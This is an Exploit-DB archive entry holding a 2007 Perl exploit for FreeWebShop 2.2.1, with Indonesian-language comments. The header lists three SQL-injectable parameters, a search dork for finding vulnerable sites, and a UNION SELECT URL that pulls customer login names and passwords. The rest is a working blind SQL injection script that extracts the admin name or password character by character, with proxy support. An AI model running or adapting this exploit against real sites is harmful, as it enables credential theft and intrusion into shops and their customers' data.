Exploit-DB #4740
Description: FreeWebShop 2.2.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-12-18
Author: k1tk4t

Exploit:
#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# FreeWebshop version 2.2.1 - Multiple Remote SQL Injection Vulnerabilities
# Waktu			:  Dec 16 2007 01:50AM
# Software		:  FreeWebshop version 2.2.1
# Vendor		:  http://www.freewebshop.org/
# Demo Site		:  http://www.freewebshop.org/demo/
# Ditemukan oleh	:  k1tk4t  |  http://newhack.org
# Lokasi		:  Indonesia
# Dork			:  "Powered by FreeWebshop.org 2.2.1"
#
#
# - variable "prod" pada "detail" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote
# ;
# http://korban.site/index.php?page=details&prod=[SQLI]&cat=0&group=0
#
# - variable "cat" pada "list" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote
# ;
# http://korban.site/index.php?page=browse&action=list&group=0&cat=[SQLI]&orderby=DESCRIPTION
#
# - variable "group" pada berkas "index.php" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote
# ;
# http://korban.site/index.php?group=[Blind SQLI]&page=categories
#
# Contoh [SQLI] ;
# http://korban.site/index.php?page=browse&action=list&group=0&cat=-1/**/UNION/**/SELECT/**/null,concat(loginname,0x3a,password),null/**/from/**/customer/**/limit/**/0,1/*&orderby=DESCRIPTION
#
#
# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron, cyb3rh3b, K-159, the_hydra, y3dips
# nyubi,iFX,sin~X,kin9k0ng,bius,selikoer,aldy_BT
# Komunitas Security dan Hacker Indonesia
#
#
# ----------------------------[Blind SQLI]------------------------------------
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print "\n  |-------------------------------------------------|";
 print "\n  |         Indonesian Newhack Technology           |";
 print "\n  |-------------------------------------------------|";
 print "\n  |  MOG-WebShop => ? (group) Blind SQL Injection   |";
 print "\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |";
 print "\n  |   DNX Code [dnx(at)hackermail.com] | Modified   |";
 print "\n  |-------------------------------------------------|";
 print "\n[!] ";
 print "\n[!] Kutu pada index.php dengan variable (group) yang dapat dimanipulasi secara Blind SQLI";
 print "\n[!] Penggunaan : perl freewebshop211.pl [Host] [Path] ";
 print "\n[!] Contoh     : perl freewebshop211.pl 127.0.0.1 /WebShop/ -c 2 -o 1";
 print "\n[!] Options:";
 print "\n       -c [no]       nilai sebenarnya dari group pada index.php, default 1";
 print "\n       -o [no]       1 = admin name (default)";
 print "\n                     2 = admin password";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cat     = 1;
my $column  = "loginname";
my %options = ();
GetOptions(\%options, "c=i", "o=i", "p=s");

print "[!] Exploiting...\n";

if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "password"; }

syswrite(STDOUT, "[!] Data : ", 12);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."index.php?group=".$cat."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20customer%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")&page=categories";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "cat.gif";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-12-18]